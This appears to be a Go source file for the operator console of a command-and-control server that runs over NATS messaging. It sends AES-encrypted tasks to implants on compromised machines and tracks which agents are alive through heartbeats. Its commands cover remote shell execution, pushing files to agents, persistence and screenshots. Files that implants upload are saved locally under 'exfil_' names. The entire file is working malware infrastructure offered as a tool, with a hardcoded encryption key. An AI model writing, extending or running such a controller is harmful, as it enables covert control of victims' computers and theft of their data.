Files

150 lines
4.3 KiB
Go

package main
import (
"bufio"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
"io"
"os"
"strings"
"time"
"github.com/nats-io/nats.go"
)
const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c="
var aesKey []byte
var nc *nats.Conn
var natsURL = "nats://localhost:4222"
func encrypt(plaintext []byte) ([]byte, error) {
block, _ := aes.NewCipher(aesKey)
gcm, _ := cipher.NewGCM(block)
nonce := make([]byte, gcm.NonceSize())
io.ReadFull(rand.Reader, nonce)
return gcm.Seal(nonce, nonce, plaintext, nil), nil
}
func decrypt(ciphertext []byte) ([]byte, error) {
block, _ := aes.NewCipher(aesKey)
gcm, _ := cipher.NewGCM(block)
nonceSize := gcm.NonceSize()
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
return gcm.Open(nil, nonce, ciphertext, nil)
}
func publishTask(agent, cmd string) {
encCmd, _ := encrypt([]byte(cmd))
nc.Publish("c2."+agent+".tasks", encCmd)
}
func main() {
var err error
aesKey, _ = base64.StdEncoding.DecodeString(b64Key)
// Try JWT auth if creds exist
if _, err := os.Stat("implant.creds"); err == nil {
nc, err = nats.Connect(natsURL, nats.UserCredentials("implant.creds"))
} else {
nc, err = nats.Connect(natsURL)
}
if err != nil {
panic(err)
}
defer nc.Drain()
heartbeats := make(map[string]time.Time)
nc.Subscribe("c2.*.heartbeat", func(m *nats.Msg) {
dec, err := decrypt(m.Data)
if err == nil && string(dec) == "online" {
agent := strings.Split(m.Subject, ".")[1]
heartbeats[agent] = time.Now()
}
})
nc.Subscribe("c2.*.results", func(m *nats.Msg) {
dec, _ := decrypt(m.Data)
agent := strings.Split(m.Subject, ".")[1]
fmt.Printf("\n[+] Result from %s:\n%s\n> ", agent, string(dec))
})
nc.Subscribe("c2.*.file_upload", func(m *nats.Msg) {
b64data := string(m.Data)
encData, _ := base64.StdEncoding.DecodeString(b64data)
decData, _ := decrypt(encData)
agent := strings.Split(m.Subject, ".")[1]
filename := fmt.Sprintf("exfil_%s_%d.bin", agent, time.Now().Unix())
os.WriteFile(filename, decData, 0644)
fmt.Printf("\n[!] File saved: %s\n> ", filename)
})
fmt.Println("[*] NATS C2 Operator Ready")
fmt.Println("Commands: list, <agent> shell <cmd>, <agent> upload <local_file>, <agent> persist, <agent> screenshot, exit")
scanner := bufio.NewScanner(os.Stdin)
for {
fmt.Print("> ")
if !scanner.Scan() {
break
}
line := scanner.Text()
parts := strings.Fields(line)
if len(parts) == 0 {
continue
}
switch parts[0] {
case "exit":
return
case "list":
fmt.Println("Active agents:")
for agent, ts := range heartbeats {
if time.Since(ts) < 90*time.Second {
fmt.Println(" -", agent)
}
}
default:
if len(parts) < 2 {
fmt.Println("Usage: <agent> <command> [args]")
continue
}
agent := parts[0]
cmd := parts[1]
args := strings.Join(parts[2:], " ")
switch cmd {
case "shell":
if args == "" {
fmt.Println("Usage: shell <command>")
continue
}
publishTask(agent, "shell "+args)
case "upload":
if args == "" {
fmt.Println("Usage: upload <local_file>")
continue
}
data, err := os.ReadFile(args)
if err != nil {
fmt.Println("Error reading file:", err)
continue
}
encData, _ := encrypt(data)
b64enc := base64.StdEncoding.EncodeToString(encData)
publishTask(agent, fmt.Sprintf("download %s %s", args, b64enc))
case "persist":
publishTask(agent, "persist")
case "screenshot":
publishTask(agent, "screenshot")
default:
fmt.Println("Unknown command")
}
}
}
}